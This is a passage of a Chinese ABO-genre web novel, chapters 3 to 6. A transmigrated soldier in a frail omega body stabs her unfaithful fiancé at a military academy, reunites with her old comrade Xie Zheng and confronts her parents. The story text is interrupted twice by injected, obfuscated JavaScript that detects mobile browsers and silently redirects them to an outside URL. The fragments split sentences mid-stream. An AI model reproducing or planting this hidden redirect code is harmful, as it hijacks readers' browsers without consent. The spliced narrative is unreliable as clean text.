第三次……这次乔蕴年没听见提示密码错误的噪音,因为门从里面开启,铺面而来的是龙舌兰酒的味道,里面还有点混合水果的甜意。 开门的alpha制服领口凌乱,露出遍布咬痕的脖颈,轻佻的金色挑染带着湿意,一张桀骜不驯的俊脸满是不耐:“你不知道器材室的密码输入失败超过五次,会自动锁定三个小时吗?” “现在知道了,吴峻。” alpha定睛一看,好事被未婚妻撞破也没有丝毫羞耻心可言,象征性地把领口扯了扯、遮了遮:“原来是你啊。能下地了?” “里面还有人吧。”乔蕴年说,“给我看。” 吴峻可不爱听,“嚯,乔大小姐生个病而已,还使唤起人来了。”在“生病”二字上咬得尤其重,毕竟他知道的可不是一点多。 吴峻已经不想在乔蕴年面前装绅士了。如果说原来好歹看在乔家瘦死的骆驼比马大,那点资源生意正好骚到父亲痒处,乔蕴年本人也中规中矩,吴峻还能哄两句,大不了娶回家当个摆设,各取所需。结果乔蕴年知道他有人后偏不依,还搞出吞药挽留这一套,自己折腾绑架他,着实让吴峻厌了烦了。 本来看着像条死鱼就烦得很,也不照镜子看清自己是哪路货色,就是遵循先来后到的道理都轮不到她,这副受了委屈还要任打任骂的贤淑样子究竟是做给谁看。 吴峻心里一阵反感,刚想下逐客令,里面传来一道鲜亮泼辣的声音:“又不是没见过。吴峻,你别替我害怕行不行?我可没怕。” 相好的这时候出现了,一路朝外走,一路不紧不慢扣好纽扣。 金色卷发,睫毛也是金色的,跟雪白的皮肤对比起来很有冲击性,整个人金光闪闪,长的像意外坠落的天使,张口却夹杂着俗世的火星子。 她看起来并不畏惧“作为一个名节最重要的omega被挑剔本就有大污点的私生活”,在乔蕴年的目光中收好白皙脖颈,藏起吻痕。 “您有何贵干呢,正夫人?” 她也着实是个妙人,笑嘻嘻地盈盈一拜,“听说正夫人伤了脑袋,忘了很多事,那我再重新介绍我自己。我是雅妮卡,没有姓。” 吴峻要把雅妮卡拉起来,被她拍掉手说“你别来碍事”。 乔蕴年轻轻眯起眼睛:“我来跟吴峻谈婚约的事。” 雅妮卡刚准备开口,一旁的吴峻猛地搂住她的肩膀,讥讽道:“我告诉你,别以为我不知道你们乔家在打什么主意,你这样的就是倒贴星币我都不要,更不用说你们是想多薅点儿带走。” 还别说,金色的omega此刻小鸟依人在吴峻怀里,两个人看起来还挺般配。 “哦,还有——解除婚约前,乔家需要支付赔偿。这是个彻头彻尾的骗局,你乔蕴年现在成了什么样的废物,不用我多说吧?” “至少一半的产业,否则有些事我可要捅到上面去了。” 这段话一出,气温一下子下降到冰点。 “可以啊。” 吴峻一时间没反应过来:“什么?” 乔蕴年不答,笑容有点危险:“我现在想知道的是,我成了什么样的废物?” 寒芒乍现,雅妮卡没有反应过来;吴峻反应过来了,但他也觉得心惊。 破空袭来的,是一支钢笔外形的匕首。 4. 第四章 吴峻大受震撼,根本没料到乔蕴年一言不合会用力到狰狞地袭击自己,慌忙抵住她的手腕时不忘抽空松了口气:自己好歹是精神力A+水平的alpha,怎么可能会大意到招架不住一个精神力堪堪达到D-水平的劣等omega。 不,现在连D都没有了。乔蕴年硬生生把自己的精神力作到F,还涉及滥用禁药的罪行,这不是上赶着给吴家递枕头、还能是什么。 吴峻一度怀疑乔蕴年真的痴心至此,然而乔蕴年在他眼里是个无趣的蠢货,料想她再怎么样也是跟父母穿同一条裤子。 现在,乔蕴年赤|裸|裸地要来刺杀他,虽然失败了,但吴峻算是明白了两点:一是她对自己抱有的感情远远到不了“痴心”的程度,二是她没有那么无聊。 ——因为一下子用尽所有气力,她的手腕、伪装成钢笔的凶器,连带着被打扮得黑白分明的整个人,都在可怜地颤抖着,再怎么努力也无法再更进一步了。 无聊的未婚妻骤然长出不会伤人、因而显得有几分可爱的棱角,吴峻不禁在心里感慨,“我的危险妻子”其实也挺有情调的,她早走这个路线不就好了。 雅妮卡原先躲避后准备上手阻止,看到如此场景,不禁嗤笑一声。 “吴峻不想伤害你,你怎么非得讨嫌呢,正夫人同学?” 但乔蕴年的注意力全然不在雅妮卡对自己的奚落上面,自始至终她的脑海里都回荡着吴峻方才脱口而出的两个字——“废物”。 这个吴峻,竟然敢侮辱她是“废物”。 对于讥讽,无论是言语,还是肢体,若是不痛不痒还好,倘若让乔蕴年立马感受到被冒犯,她无论如何都会让这个人付出代价,或早或迟而已。 以后还有机会私底下见到他吗? 以后还有机会……找到真真切切能够伤害这个人的时候吗? 恐怕很难。乔蕴年暂时看不到,所以她立刻采取了行动。只跟肉|体有着血缘纽带的乔仲雷和祝心莲是“乔蕴年”的双亲,连累到他们,乔蕴年一点心理障碍都没有。 失败的可能性很大,但乔蕴年没想到会这么快,她得眼睁睁看着吴峻的眼神从震惊变成一种羞辱性的惋惜,看着他慢慢将自己的手扳回去,很轻松似的。 “你胆子还挺大,敢跟我动手。”吴峻很可惜地看着她,话里带有语重心长的规劝意味,“我的措辞确实不太友好,但是乔蕴年,你对自己的认知好像不够客观啊,我还没有使用精神力。” 雅妮卡绕行到乔蕴年面前,实在是从后面看两人的角度总觉得像在深情对视。 乔蕴年是这种性格吗?她有点纳闷,看到吴峻的眼神一下子警铃大作,直觉他对乔蕴年产生了一点兴趣,这可不行。 继续不遗余力地奚落乔蕴年,雅妮卡在给吴峻上眼药方面实在太娴熟,搂住他的脖颈,挥洒出甜甜的水果硬糖香气:“还是别了吧,万一把人弄成傻子,乔家直接赖上你怎么办?” 吴峻眼珠一转。弄成傻子不好,这样就是他行为有缺,肯定要不到乔家的产业,没法对家里人交代。 “你们聊好了吗。” 平静无波的声音介入,乔蕴年扶着辅助机器人,微微俯下身喘气。至于她手里伪装成钢笔的防身利器,已经被吴峻抽走。 依旧在孱弱地大喘着气,乔蕴年伸出手:“把笔还给我。” 吴峻:“这不算笔吧?你一个体质这么孱弱的omega,找个随身保镖才是最要紧的,下次不要带这么危险的东西出来了。” 话虽如此,他还是把钢笔放回乔蕴年手心,自认为很有绅士风度,却没有看见她眼里的飞闪过的寒芒。 “反正我已经退学了……这种经历应该不会再有第二次。” 电光火石间,乔蕴年反握住吴峻的手,然后将藏在指缝间修长的金属刀片送向他的手腕。终究是在皮肉包裹血管,而她无论如何都想伤害到他。 既然不能大开大合地将他蹂躏一遍,这种四两拨千斤的刺杀法,乔蕴年也很擅长。 血流如注间,是雅妮卡的尖叫,是吴峻猝不及防被“咬”一口后不可置信的脸,以及乔蕴年眯起眼睛、双手背在身后的餍足笑容。 自从成为这里的“乔蕴年”,她总是竭力克制自己、说服自己,一切蛰伏都是为了在昂扬时肆无忌惮地狂笑。从前习惯以自己一个人为单位,是时候换一种生活方式,哪怕是当作一种独特的体验,或许她应该尽可能持有怀柔态度以融入一个家庭。 但现在,真到为了“复仇”喋血的时刻,到了无需继续粉饰的时刻,乔蕴年感受到了前所未有的轻松和愉快。 她居高临下,后退半步,好像嫌恶那点也许会溅到黑皮鞋上的血:“是你先冒犯的我。” “你怎么敢……你怎么敢的!” 雅妮卡一下子红了眼睛,扑上来的时候快准狠地拽住乔蕴年的白色发带,恨不得将她的头发连头皮扯开,再然后抵住乔蕴年的喉咙,把她压在墙上。 乔蕴年呼吸困难,生机一点一点流逝的奇妙感丝毫没有唤起她的恐惧,毕竟被卷入宇宙风暴是一瞬间的事,这种一点点正在死去的感觉对她来说很新奇。 她贴近雅妮卡,这种感受被放大许多,而乔蕴年毫不在乎,低语着:“我为什么……不敢?平民出身……的你,竟然发自内心爱这个人……蠢货。” 还是这一点更加可笑。乔蕴年在墙上剧烈颤抖着,身体状态跟表情极其违和,与此同时握紧钢笔,死死盯着她:“你很清楚我吃了什么药,也很清楚吃下去会是后果,对吗?” 雅妮卡的眼神晃了一下,虽然很轻微,但乔蕴年注意到了。 真正陷入狂乱的人,碰到自己完全陌生的话题、自己完全没做过的事情,是会发出疑问和嘲讽的,但雅妮卡眼眸里的涟漪以及随即将这片涟漪抚平的理智,跟她现在的状态格格不入。 就算不是她,也跟她脱不了干系。 乔蕴年眸色一冷,就要对准金色omega的腰部毫不手软地刺下,下一秒却被分开。 是吴峻。“可以了。”他的面色不太好看。而乔蕴年注意到,那么深的一个口子,似乎已经快要愈合了。 环顾四周,不知道从哪一刻起,器材室门口聚集了很多人。 机械设计的系章是橙黄色,从长廊一路走来的路上乔蕴年见到的系章有百分之九十是这个颜色;但这些聚集过来的学生,基本都是跟吴峻一样的赭红色,像血滴落在战场,混进尘埃的灰。 人群里面有女有男,身形全都是结实高大的类型,目测没有一个人低于一米八,拢过来就像是一堵厚厚的墙,个个都是看好戏的眼神。 乔蕴年眼眸微闪,翻手将没能来得及刺下的钢笔收回口袋。他们中的很多人在打量她,打量这身象征着“完美新娘”的狄蕾尔制服。 在她面前,面对如此多精挑细选出来的顶级alpha,如此多的文明化了的野兽,omega的本能作祟让雅妮卡生出怯意。 如果没有吴峻的临时标记,她恐怕真的受不住这种密不透风的围堵,想躲起来。 呵。乔蕴年想的却是,如此优越的素质,真是让人羡慕。 她依旧靠着墙出气,并在雅妮卡眼皮底下整理衣领,动作细致到像是一种无声的挑衅。 雅妮卡回过神,脱口而出:“是你刚刚——” “请让一让。” “野兽”群的气氛陡然一变,像是排练过无数次般分成两拨人。吴峻听到声音,表情肉眼可见更加的难看,不得不低下头。 乔蕴年在墙角整理好衣服。她很累,目前的精力仅够专注于这一件事,但她不愿意将疲弱的一面展现给他人,因此才显得慢悠悠。 头发就算了。该说“不愧是omega”吗?薅人头发的时候真是不遗余力。 乔蕴年垂下头动作着,耳畔的两个音色,尤其是前者,给她的感觉很熟悉。 “吴峻,你怎么回事?之前被连续举报两次作风不正也是你。” “……解级长,这一切事出有因。是我的未婚妻先动的手,我没想到她会主动伤人。” “听起来不具有说服力。” 他也姓解。 乔蕴年对姓解的人看法很复杂,如今整理好衣领干脆抬起头,目光锁定在来人身上。 正在跟吴峻交流的年轻男性,也在同时看向了她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483129|201863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 雅妮卡猛地介入:“我可以为吴峻作证!如果阁下觉得不可信,可以调取器材室附近的监控。” 军方的科技水平可以做到无孔不入,放大到一定程度连细胞怎么裂变都能看清楚,雅妮卡不觉得乔蕴年能逃脱制裁。 她确实“胆子大”。这次的雅妮卡是带着些许幸灾乐祸的心理重复吴峻的话。 “嘿,大美女,你都给人家小美女锁喉了。” 一个alpha用轻佻的语气出来“主持公道”,看热闹不嫌事大的模样,“而且你也不想想,你跟吴峻是什么关系,这位乔小姐跟吴峻是什么关系,你要想诬陷乔小姐,那不是情理之中嘛!” 被唤作“级长”的男性面上轻描淡写,似乎考虑得相当谨慎,微微点头,端着一副绝对中立的公允姿态:“看来你不止是不可信的程度,女士。首都校明确规定,袭击友校的同学,罪加一等。” “是她先袭击——” “我没有什么要说的。” 骤然打断雅妮卡,乔蕴年的目光刚从指她们两个为大小美女的alpha脸上滑过,隐约的危险感自瞳心不着痕迹荡漾开来。 不知道尊敬是什么的人,会让她想要把他的舌头割下来。 她重又看向颇有派头的“解级长”。他的肩章很明显和他人不同,而这些野兽畏惧着他。 ——所以这张脸,曾经的自己需要微微扬起脸来看吗? “我没有任何想要说的,解级长。” 乔蕴年看着他,重复自己的观点,“这里是军人的学校,我服从一切安排。” 这张口口声声说着“服从”的脸,纯白丝带凌乱下垂,眼眸深处却在对他道着截然相反的“我不在乎”。 吴峻当然希望乔蕴年被狠狠惩罚,竟然敢对自己搞袭击,真是反了她了。然而乔蕴年此刻的身份依旧是“吴峻的未婚妻”,闹这么大已经让吴峻觉得颜面无光,多少人在看他的笑话,当务之急是对她小施警告给自己解解气,等离开这里有她受的。 但解琤是个油盐不进的主,百分之八十的时间都很公正,另外百分之二十偏向平民,家世强硬到没有人敢对他指手画脚——事实上以他的行事作风,出现这种人的概率很低——因此吴峻根本没法从他这边入手。 他殷勤道:“级长,要不按照第十三条戒律警告一下她,让她长长记性也好。等我回去,我肯定会把她教导好——” “你教导?你能教什么。”如果说,首句话尾的上扬莫名让吴峻觉得微妙,解琤的后一句话更是让他的心沉入谷底,“你教不了她,也没有资格教我怎么做,先生。” 医务室的老师很快赶到,是个面容清秀的男性beta,上手搀扶住乔蕴年,一时间在心里惊叹了一句:他从来没见过如此无力的人,omega堆里都少有。 “谢谢。”就像乔蕴年刚才说的那样,她非常温顺地“服从”了别人的安排,乖乖跟着老师走,半开的白色发带一垂一垂。 解琤的眼神遂从老师搀扶乔蕴年的肢体接触处上移,在她和自己肩膀相错时右手几乎要去轻轻地碰一碰,帮她收好。 克制。要克制。解琤最终没有这么做,目光停留在眼前的alpha和omega身上。 不仅仅是综合战斗系四年级的级长,解琤的肩章代表他可以管束整个首都校的四年级及以下的学生。 “雅妮卡女士,请在明晚之前完成第二十六条戒律。” 第二十六条是杖刑。仅仅付诸于肉身的惩罚手段对alpha来说都非常轻松,但对雅妮卡这样的omega而言,就没那么简单了。 吴峻急了:“解级长,至于这么重吗?!” “先生,你在今晚前完成第六十七条戒律。” 第六十七条是鞭刑,不仅是肉身,还有精神领域。吴峻脸色一白,张张嘴还是选择闭上,在自身难保的情况下很难再为雅妮卡求情。 解琤无视二人,对围观者道:“散了吧,不要造成不必要的堵塞。” 跟来时一样,人群先是散成两半供他离开,随后才遵循指示彻底散开。 只是这次,解琤脚步匆匆向医务室,相当迫不及待。 5. 第五章 解琤小心翼翼摸进医务室的时候,乔蕴年正躺在最里侧的病床上,悠闲地转动钢笔。 听见声音,她连眼皮都没有抬起分毫,只是随意询问道:“有何贵干。” 先是出言让老师回避,再然后检查隔间的门是否已经紧闭,解琤从智脑中放出一个红色的晶体到空中。 乔蕴年终于抬头:“这是什么?” “干扰器。”解琤在她的病床旁边坐下,雕塑般的侧脸有着不为人知的、纤细敏感的不安,“这样的话,即便是军方出品的监视器,也捕捉不到我们说话的内容。” 将钢笔收回口袋,乔蕴年伸手去摸老师放在床头的营养液,结果解琤先一步拿起,整齐地拆开口袋,吸管对准插好递给她。 这股眼皮一打架就有人递枕头的舒坦感,乔蕴年真是许久没有感受到了。 营养液是荷露味,跟乔蕴年的信息素一样。被打发走的beta老师刚才告诉她,依据信息素调制的营养液更能帮助恢复。为此乔蕴年还对那个容易脸红的beta男人开了玩笑,如果不是因为他是专业性强的老师,还是闻不到信息素的beta,她恐怕会觉得这句询问有点冒犯。 慢吞吞吸着不喜欢的食物,乔蕴年含糊询问道:“你喝这个,喝的习惯吗?” 解琤看她不甚熟练地啜食着金属导管,明明应该在幼童时期习得的技能,此刻的她尽心尽力学习使用,身上有种摇摇晃晃学步的稚嫩感。 “只要从出生的时候开始适应,想不习惯都很难。”意识到这一点,解琤便需要不断调整呼吸频率,“你不喜欢这个味道,应该让池老师给你换一个。” 乔蕴年不是重视口腹之欲的人:“但他说这样对我更好。”而她选择相信。 至于眼前的人值不值得相信,不是短时间内就能确定的。乔蕴年原以为这场两百年后的旅行只有她一个人掌握单程票,没想到还有人在这里等着呢。 “还是那个解家吗?”于是,乔蕴年面带笑意探问,“我怎么觉得,比‘那时候’还要显赫呢。” 说起解家,乔仲雷之前在她面前提过。本世纪的解家可以说是联邦进入新纪元后维持整个国家运行的二把手,是真正意义上百年不倒的世家大族,颇受元帅倚重。 乔蕴年认识的解琤,虽然出身也很高贵,但充其量只是个财务部部长预备,哪像两百年后的解家,说是权倾朝野也不为过。 解琤不回答。 乔蕴年继续道:“我的身体状况和家庭状况你应该都清楚,这次应该轮不到我让给你了。” 她之所以跟解琤关系好,由头之一便是前世在军校竞争首席的经历,她把第一名让给了他。 当时,作为第二名的解琤完全竞争不过乔蕴年这个“千年难遇的天才”,无论是体术、机械还是战略,都不如她。然而解琤的家人对他寄予了沉重到能把他直接压死在训练场上的厚望,达不到,解琤归去后面临的惩戒会比死还要难受。只是在他面前提起,他都会应激到僵直的程度。 但这个首席对乔蕴年并不重要。抱有着想看这张俊脸如何因为免遭此难感激涕零的心情,那副能够把她逗得哈哈大笑的模样,乔蕴年最终决定把名头让给解琤。 当然,得是在所有人都知道她乔蕴年才是实至名归的第一名,他解琤是因为她的大度侥幸占了便宜的基础上。 施恩的同时,乔蕴年也深知如何变相羞辱一个人。既然解琤和他的家人只是想要这个头衔,那么解琤作为乞食者,能得到的也只有一个头衔而已。 乔蕴年不介意展现自己的扭曲,谁叫她对世家子弟很难生出好感呢。 以后跟解琤进行一对一练习,她甚至能省不少事,比如她可以直接在他耳畔重复家人的命令令他动弹不得,轻而易举摘下胜利的桂冠。对乔蕴年来说,既没有真的失去这份荣誉,也抓住了解琤的弱点,为什么不展现慈悲呢? 没办法,或许这就是命运给予解琤的【试炼】。当时的乔蕴年开玩笑地如是心想。 现在,轮到她面临自己的【试炼】。 解琤瞳孔微微后缩,似乎比乔蕴年本人还要不能接受如此现状。 那条银雪绸带真的束缚住了她,而他并不是真的想看到强硬到足以遮天蔽日的乔木真的被积雪压制得脆弱不堪,发出噼里啪啦的悲鸣。 “你可以凑近一点吗?”乔蕴年看着他的眼,放软声音,“我们好久没见面了,我还不知道你为什么会来到这里。” 追随她是解琤的下意识反应,即刻朝她的方向俯身,不忘解释道:“我想要找到你,但那里并不安全——呃……!” 被刹那间暴起的乔蕴年扼住喉咙压制,解琤也得以近距离看到这张脸如何因为发力、因为不平而狰狞。 “好啊,好啊,命运就是这么对我的——”乔蕴年控制不住冷笑,神色几近癫狂,来到这个世界后攒下的所有耻辱喷薄而出,“你是alpha,还是宰相之子,你比前世拥有的更多了,你什么都有了,真是好让人羡慕啊……我呢!为什么要给我这样一副残缺的身体!给我如此败坏的家庭和人际关系!” 解琤的眼眶微微湿润,并非因为乔蕴年能多么粗野、多么爆裂地制约自己的呼吸,而是他发现乔蕴年即便用力到青筋暴起,整个人抖得像筛子,能施加在他身上的力量依旧如此有限。 而且,当解琤花了好长时间才愿意相信这个世界同名同姓同模样的乔蕴年不是他希望是的那个,他悄悄地祈祷过,很多很多次。是不是不该祈祷呢? 乔蕴年用自己熟悉的姿势钳制解琤,形成一个只有花架子、显而易见非常脆弱的牢笼,大刀阔斧到几乎要坐到他身上,阴戾的气息触碰他的脸颊: “你总是用简单模式游玩,为什么我只能二者取其一,用身体换来的还是如此糟糕的家世,凭什么你如此好命……” 真想杀了你。 乔蕴年是真的想把解琤勒死。 事实上,“杀点什么”的念头一直在乔蕴年脑海里徘徊。阅读“乔蕴年”日记的时候,在父母面前故作温驯的时候,忍无可忍显露出叛逆迹象的时候,被吴峻和雅妮卡及其朋友羞辱的时候。 作为军人时,乔蕴年会合理地杀点什么。但现在,每天都要感受这副老旧机器般的身体,每天都要承受奚落和侮辱,即便不合理,她也迫切地想要一场血流成河。 解琤回看她,说话断断续续:“乔蕴年……会有办法……让你的身体好起来……我这样的人都可以,你也一定能行的……” “‘你都可以’。呵。你这么好命,谁能像你一样。” 截然相反地,乔蕴年渐渐放松手里的力道,而解琤也并没有露出如释重负的表情。 真碍眼。乔蕴年移开视线。 她的双手因为过度用力再次僵硬,现在她唤了一声“小念”,让辅助机器人将自己缓缓搀扶到病床上,静静地依靠着软垫。她陷入了一种虚无主义的沉默。 “……你的发带。” “你要帮我绑吗。”乔蕴年依旧侧着头,跟解琤这个被命运眷顾的人对视会让她心烦意乱,“你可是alpha,你会吗。” 解琤:“试试吧。” 并不是没有跟这个世界原本的“乔蕴年”见过面,应该说解琤见过她很多次,每一次都在帮他确认,另一个乔蕴年已经不在了。 现在,他终于有了点脚踏实地的感觉。乔蕴年第一次留长发,而前世的他有个妹妹。绑头发这种琐碎细致的事,解琤出乎意料做得很好。 白色丝带穿梭在乌黑的夜幕中,被伺候的乔蕴年尚且对“向一个成年alpha展现后颈”一事有太多敏感性,反过来道:“你身上有焦炭的味道。这是你的信息素?” “是。”解琤知道乔蕴年对异常气味的反感,轻声自我贬低道,“不太常见,也不太好闻。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483130|201863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对我来说很好,这能让我想起以前在战场上的时——嘶。” 一根头发夹在里面被扯动,乔蕴年随即发出不快的气音。 解琤并非故意为之,连忙去揉被乔蕴年触碰的地方,甚至下意识要凑近吹一吹,像隔空含吮着她的疼痛处:“抱歉。我已经很久很久……没这么做了。” “小心一点。”乔蕴年警告他。 在这个世界,解琤作为解家的独生子,并没有妹妹。而且后颈是很敏感的地方,“绑头发”若是发生在alpha和omega之间,只能是一对关系非常亲密的家人或者伴侣。解琤自然无从练手。 乔蕴年倒是不太在意这点小事,她更关心别的,比如一些后续问题。“你是怎么处理他们两个的,解级长?” “不过是小施惩戒而已。” 吴峻也配对乔蕴年的未来指指点点。解琤面色微沉,手头动作停顿片刻。 “你这么说我就明白了。”乔蕴年很满意,“两个人都得盛情款待才像话。” “还有,他相好的说器材室附近有监控,解决一下。你决策失误损失的不过是一点威信,别最后把火烧到我身上。”哪怕这把火是乔蕴年放的,并且放完犹嫌不够。 “吴峻至少这一周都没空管这件事。……等你离开,我就去处理。” 已经差不多要盘好了。解琤的手没有巧妙到和乔蕴年精通梳妆打扮的母亲相提并论,但也够用了,尤其是在他十分用心的情况下,盘得很利落,蝴蝶结自然下垂好像兔耳朵。 他情不自禁将手腕凑到鼻腔旁,若有若无的荷露香气淡雅如水,混进香粉味道。 信息素越淡,越能展现精神力的羸弱。但解琤嗅到这一缕香气,就像是被火焰烧了一下。 他不自觉地开始回忆。这张因为相比于前世更加纤细苍白的脸甚至化了非常适合的妆,眉眼被修饰过后柔和得像是某种引颈受戮的小动物的眼睛。嫣红的嘴唇上依稀残存着抿住的痕迹,宛如晕开的血,因为不健康偏浅。 乔蕴年转过身时,他立马放下手,驱散入迷的思绪,紧绷住脸色。 她说:“你是我在这里唯一能相信的人。” 如果说那一点信息素拨动的是解琤的精神领域,那么乔蕴年的这句话,无异于将手伸进他的胸膛,带着火热握住他的心脏。 “你是我的战友,也是我最亲近的朋友。”乔蕴年继续用甜蜜的口吻道,“刚才那样对你,我向你道歉。但我也希望你能够明白,之所以在面对你的时候那么冲动,是因为在你身边能够让我放松下来。” 冷酷的高岭之花,神情肃穆宛如象牙雕像一样的解琤。 “让我们更要好一点吧”,乔蕴年对他展示自己的好意。她很少如此直白,比较擅长在日常的点滴恩情中踏实稳妥地建立一种不平等的同伴关系——往往都是她在上,对方在下。如果有所逆转,也是因为乔蕴年想要给予对方这一错觉。 现在,她的状况不足以她去做那个拯救者,只可叙旧。 “不用道歉。” “……即便你不这么说,我也会明白的。” 久违而又熟悉的控制感,让解琤感到安心。 随后乔蕴年和他在智脑上交换了联系方式。 “智脑可以用作日常联系。但是如果涉及到一些比较敏感的方面,请使用我寄给你的微型联络器。”解琤道,“或许你……缺少一只耳钉。” “谢谢你。你还真是一如既往的贴心。” 解琤离开前,嘱托老师将乔蕴年送到长廊,务必不要出岔子。 同时他也敏锐地意识到,这位beta老师对乔蕴年的离去似乎有种说不清楚的不舍,眼睛含着波动流转的水意看她。 他在非常短暂的时间内被乔蕴年“驯服”了。 解琤对此感到不悦,却不能显露在脸上,转而以微笑告别她,让她放心。 6. 第六章 在狄蕾尔学院门口甫一见到祝心莲,她便着急地握住乔蕴年的胳膊:“吴峻怎么说?” 乔蕴年微微摇头,尽力做出悲伤的表情,实际上所有的力气都放在把上扬的唇角压下去:“有点悲观。他说要解除婚约,还要爸爸的产业作为补偿,否则可能要把药的事情捅出去。” 祝心莲身形一晃,眼前一黑,差点就要栽倒在地。意识到她快要倒下来,乔蕴年往旁边让开一步、两步、三步——整整三步。 她只是很有自知之明,知道自己扶不住祝心莲而已。况且她也没有真的倒下,而是在稳住身体后用一种怨恨不平的眼神看她。 “你怎么这么傻……这么傻啊!”祝心莲欲哭无泪,将乔蕴年无力反抗的小臂掐出皱缩的鲜红印记,指甲毫无怜惜地嵌进肉里面去,“我跟你爸是要你跟他叙叙旧、讲讲情分,不是让你直接送把柄到人家眼皮底下的!” 乔蕴年皱眉,低头看向她的手。 如果不是这副身体成了软塌塌的烂泥巴,她恐怕会下意识把这根伸过来的手臂折断。 现在,乔蕴年不得不收敛戾气,好像很懂忠孝节义似的,轻叹道:“真是一双养尊处优的手臂啊,看着比我还有活力呢。” 祝心莲哭喊的表情一滞,对上乔蕴年意味深长的眼睛。 “妈妈,再这样下去,你就要在学妹学弟们面前出丑了,他们好像快要下课了。” 跟首都校不同,狄蕾尔学院并不实行封闭式管理,可以自由选择是否住宿。“乔蕴年”选择了住宿,结束一天的课程后可以离校闲逛,而这对她来说是难得可以放松的时间。 祝心莲终于想起这是在狄蕾尔学院门口,终究是“富贵生活在远去”这一事实更可怕,让她忘记自己需得维持的体面。如今反应过来,粗鲁地拽住乔蕴年的手腕,直到两个人在包厢内坐下。 依旧是打发服务员离开,这次母女二人无话可说,乔蕴年也乐得清闲。 回到家,祝心莲第一时间奔向乔仲雷哭,叫嚷着“怎么办”。她很灵活,也很现实,乔仲雷能带给她物质就以丈夫马首是瞻,原身怜惜母亲不易愿意哄着她就到女儿身边吸取能量。乔蕴年就这样冷眼看着。 永远两头吃,永远躲别人在后面,反倒让“乔蕴年”成了里外不是人的那个,还得通过答应他们一个唱红脸、一个唱白脸的逼迫获得一点点好脸色。 乔仲雷闻言,捂着胸口呵斥乔蕴年:“没用的东西!你就没有让我们省心的时候!快,心莲,收拾收拾东西,我们今天下午就上门赔礼道歉,跟老吴说说去。” 他原本想扇乔蕴年一巴掌,以前也不是没有这么做过,自己的孩子怎么管教都是天经地义。而且自家女儿那副唯唯诺诺的模样,平时看着让人看着老火,真的打起来反倒一下子顺眼不少。 但是乔仲雷无端犯起怵来。 他总觉得,女儿苏醒后像是换了一个人。明明身体素质更差了,精神力也下降了两个档,已经到了退无可退的程度,就是下一秒昏死过去都正常,精神气却起来了,变的凛冽、戏谑。 “我们两个去,我们两个人去,好了吧!” 乔蕴年点了一下头,笑起来好像脸上套了假面,独自进了卧室。 家里终于安静下来了。乔蕴年闭上眼,在床上放松四肢,做着拉伸。 习以为常的力量训练是不可能了。 腰部被拉长,骨头发出“咔哒”“咔哒”的声音。辅助机器人被她放在书柜上,片刻后聒噪地发出警告声,重复说着“运动量已达标”。 这才哪儿到哪儿呢。眼睛睁开一道缝,小机器人已经飞过来了,直接被乔蕴年握住,然后一下子扔到墙上。 乔蕴年本就不喜欢它,现在无非是借题发挥而已:“安静一点。不要妨碍我。” 一个机器因为科技进步可以说话思考,本来没什么,但它人格化后所要跨越的第一道门槛,取名字,不是她来做。 于是他们不再是上帝和亚当,而是亚当和放进伊甸园的毒蛇。既然不是她的造物,那她没必要有所包容。 小机器人圆溜溜的眼睛变成流泪状:“呜呜呜……主人不喜欢我……” “你可以向你真正的主人告状去。他们现在就在吴家。” 小机器人飞过来,这次非常有灵性地往旁边躲了一下,让乔蕴年觉得有点好笑。它说:“小念的主人只有一个,就是乔蕴年、乔念念、乔……乔……” “我让你安静一点。我把你放在哪里,你就老老实实在那里待着。” 话虽如此,乔蕴年一意孤行、坚持要做点粗暴的康复运动,还是让她汗水淋漓,腰背塌在床上爬不起来,好像断壁残垣。 小念又飞过来,这次变出两只手,在乔蕴年背上按摩,一边按动,一边还发出“呜呜”声,像潸然欲泣的小狗。 乔蕴年趴在床上,说话时声音虚弱:“我真该让妈妈把你带走。” 这样疲累到好像要把自己揉碎一遍的夜晚,自从乔蕴年能下床,每天都在上演。她能接受被赠予孱弱的身体,应该说是不得不接受,但她不能忍受自己什么都不做。 等待被揉碎的部分慢慢聚集起来,整个过程不再是万籁俱寂,类似于冥想,而是有条狗不断在旁边啜泣,还时不时猫一样地踩奶。 等到乔蕴年有力气翻身,她伸手抓住了浮在半空中的小机器人:“……你真的很烦。”然后按下去。按倒在身侧。 动作时,乔蕴年无意识运用了精神力,就这样顺着手臂流淌过去。 小机器人圆滚滚的眼睛,在乔蕴年看不见的地方向外扩散,好像有溶液滴入尚无黑白概念的培养皿,也好像是在进行细胞分裂,站在生命开始时的锚点。 很快归入平静,眼前眨巴着的依旧是属于动画人物的眼睛,再怎么样也不会变成人的形状。 乔蕴年收回手,结果手心传来光滑圆面反过来蹭自己的触感。 “主人。乔蕴年是我唯一的主人。” 一直在吵闹,不听话的样子哪里像是拿她当做主人、拿她的话当作金科玉律了。她现在因为各种原因不得不脾气好,结果连机器人都能反复蹬鼻子上脸,真是虎落平阳被犬欺。 乔蕴年忍不住叹了口气:“听到了。……看时间,爸爸妈妈应该要回来了。” 小机器人飞向门锁,不等乔蕴年出言阻止,便听到又一记落锁声。 嗯?竟然是这样吗。 “主人不想见到先生和夫人。”那机器人飞回来,眼睛荡漾成两滩煎蛋,好像在讨要奖赏。 对乔蕴年来说,一次怀疑,终生不用。但现在情况复杂,她没办法挑三拣四做筛选,只能勉为其难,招招手让它靠近一点。 